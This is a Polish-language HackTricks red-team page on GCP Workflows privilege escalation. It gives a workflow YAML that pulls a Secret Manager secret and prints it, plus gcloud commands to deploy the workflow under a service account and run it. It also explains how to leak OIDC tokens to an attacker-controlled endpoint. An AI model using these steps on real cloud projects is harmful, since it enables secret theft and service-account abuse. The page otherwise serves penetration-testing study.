GCP - Workflows Privesc

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Workflows

Podstawowe informacje:

GCP - Workflows Enum

workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)

Z tego co wiem, nie jest możliwe uzyskanie powłoki z dostępem do punktu końcowego metadanych zawierającego dane uwierzytelniające SA przypisanego do Workflow. Jednak możliwe jest nadużycie uprawnień SA, dodając działania do wykonania wewnątrz Workflow.

Możliwe jest znalezienie dokumentacji konektorów. Na przykład, oto strona konektora Secretmanager. W pasku bocznym można znaleźć kilka innych konektorów.

A tutaj można znaleźć przykład konektora, który drukuje sekret:

main:
params: [input]
steps:
- access_string_secret:
call: googleapis.secretmanager.v1.projects.secrets.versions.accessString
args:
secret_id: secret_name
version: 1
project_id: project-id
result: str_secret
- returnOutput:
return: '${str_secret}'

Aktualizacja z CLI:

gcloud workflows deploy <workflow-name> \
--service-account=email@SA \
--source=/path/to/config.yaml \
--location us-central1

Jeśli otrzymasz błąd taki jak ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist, po prostu poczekaj minutę i spróbuj ponownie.

Jeśli nie masz dostępu do sieci, możliwe jest wywołanie i zobaczenie wykonania Workflow za pomocą:

# Run execution with output
gcloud workflows run <workflow-name> --location us-central1

# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1

# List executions
gcloud workflows executions list <workflow-name>

# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>

Możesz również sprawdzić wyniki wcześniejszych wykonania, aby poszukać wrażliwych informacji

Zauważ, że nawet jeśli otrzymasz błąd taki jak PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... ponieważ nie masz tej zgody, workflow został wygenerowany.

Wyciekanie tokena OIDC (i OAuth?)

Zgodnie z dokumentacją możliwe jest użycie kroków workflow, które wyślą żądanie HTTP z tokenem OAuth lub OIDC. Jednak, tak jak w przypadku Cloud Scheduler, żądanie HTTP z tokenem Oauth musi być skierowane do hosta .googleapis.com.

Dlatego możliwe jest wyciekanie tokena OIDC poprzez wskazanie punktu końcowego HTTP kontrolowanego przez użytkownika, ale aby wyciec token OAuth, potrzebowałbyś obejścia tej ochrony. Jednak nadal możesz kontaktować się z dowolnym API GCP, aby wykonywać działania w imieniu SA używając zarówno konektorów, jak i żądań HTTP z tokenem OAuth.

Oauth

- step_A:
call: http.post
args:
url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop
auth:
type: OAuth2
scopes: OAUTH_SCOPE

OIDC

- step_A:
call: http.get
args:
url: https://us-central1-project.cloudfunctions.net/functionA
query:
firstNumber: 4
secondNumber: 6
operation: sum
auth:
type: OIDC
audience: OIDC_AUDIENCE

workflows.workflows.update ...

Dzięki temu uprawnieniu, zamiast workflows.workflows.create, możliwe jest zaktualizowanie już istniejącego workflow i przeprowadzenie tych samych ataków.

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Last updated